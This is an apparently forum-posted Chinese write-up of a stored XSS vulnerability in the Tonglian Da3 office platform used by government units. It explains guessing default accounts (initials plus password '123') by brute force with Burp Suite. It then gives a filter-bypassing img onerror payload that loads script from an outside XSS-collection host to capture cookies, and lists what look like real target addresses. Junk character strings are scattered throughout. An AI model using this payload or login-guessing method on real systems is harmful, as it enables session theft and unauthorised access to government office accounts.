同联Da3协同办公平台后台通用储存型xss漏洞

admin

( V6 |* ~: ~( R U' R; K( N" A$ h $ f0 \0 b9 `3 J0 s! p 0 ^. w, y. k# @& ~# K2 l% b . G, s, G+ } C' W2 n : r2 I6 U/ `! B5 Y. Q4 R

2 ~ ]! i4 t5 j& u

$ s# Y9 f. x' \' ? 同联Da3协同办公平台后台通用储存型xss漏洞 ! k8 {/ k4 r3 q0 r1 }* T" \

* Y. _6 _1 [$ o$ I

' X _9 N0 o1 {1 x) ~# G 平台简介：

4 B: E6 v" V3 |8 ?# Q

  . f( N- f/ v9 }/ A

. O) o! ~( _# u; b8 ^' a

@# ?* z9 F( i0 Z 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
8 b9 R* G+ ^7 F I& h2 c同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
0 B( ~+ ]% l3 k& M4 \同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

8 l0 h3 o* ]1 w2 e! u9 }2 B6 m

8 I! z( X L' g9 Q* |- d  

% ?( t/ W5 c5 z

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 1 _# {; m3 i/ V( s( q$ r

6 H( \+ U' ]5 `! j+ e; U/ a7 o7 e  

" n4 `# ]0 w# n& D4 B

& C2 ?9 T( y F& J R) ]$ e/ k http://1.1.1.1:7197/cap-aco/#（案例2-）

6 T5 a6 z) Z) O; Y' Y$ v; `5 s

( J Q" L* w6 N0 T) j% c. d http://www.XXOO.com （案例1-官网网站） ( X: v8 q# N( Y0 b' D2 h3 L

( z' p" p B: \; Y, B

漏洞详情: 6 {2 S& m4 u* {: J" p$ b, j1 U

4 J; k; j ~: x; }4 K# ]. n5 n4 n+ h& m  案例一、

) t; J- @6 j b+ B

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

; L4 A. ], T% e2 R$ F6 m+ B# c      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 5 b" J9 T- J# a9 }6 N; N

8 B; _3 m6 J/ l

 

. H. c& x, x- k! X9 u. K2 W

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： ; H* h- d& D ~8 {0 \* p

6 A1 t0 B0 ]% K( ^

 

' Q- H5 U) ?; F2 s( H2 x

; U$ ]* z2 Z) n. _# v

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 6 X- \. M1 M4 s6 a' o' a; f Q9 B! v

  7 p5 H2 _5 s d

. \! d* \+ s t/ _4 Q) l8 O

+ Z7 G6 D8 u4 U3 p% Z# A% K* z <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

# \5 D. `/ \* H6 Q* t* V8 r2 [9 ?& N

然后发送，接收cookie如图：

( n9 R6 {. H0 J6 \! |

6 L3 X5 n& f/ N1 E& S: s+ M5 F  

  ' s8 o. q+ X& }9 M; E

$ E0 d, ^( l& F4 S  

7 @$ L, u" \- }: a* [

& j/ m4 Q w: G, ~9 L   ; K: c" M# `4 ~

# ?: \$ h3 U9 r3 `+ z& o

 

* N( Q& Y+ V1 T J I, G' l 案例2、 " W" o) `- K9 q5 u ~: _8 J3 }+ r, s2 b

9 d/ m1 Z; b1 y 前面步骤都一样，下面看效果图：

& k1 [$ K5 {, t. T5 D: R

 

9 z3 P% d( \! _6 E6 Q

 

. g6 G# ^0 t% [; |# T7 v/ F

* O5 L* T- Y' E7 _: k- |

* g+ o+ J* [( j

% a3 g' ?" p5 v1 i8 n, N  

% L M4 I* Y8 }6 Y" }6 ?5 b

# ?3 r, S- R0 W2 f# `   : y/ N. Q* Y0 Z! Q! c0 r7 ^

2 z: H$ P% Q3 A( D/ r' m r$ B$ j

  8 V. J+ h& @/ F& o) W, t9 }

  4 a! @ B3 T: \9 \$ U1 r

& u6 F" T9 q, I" s- q9 \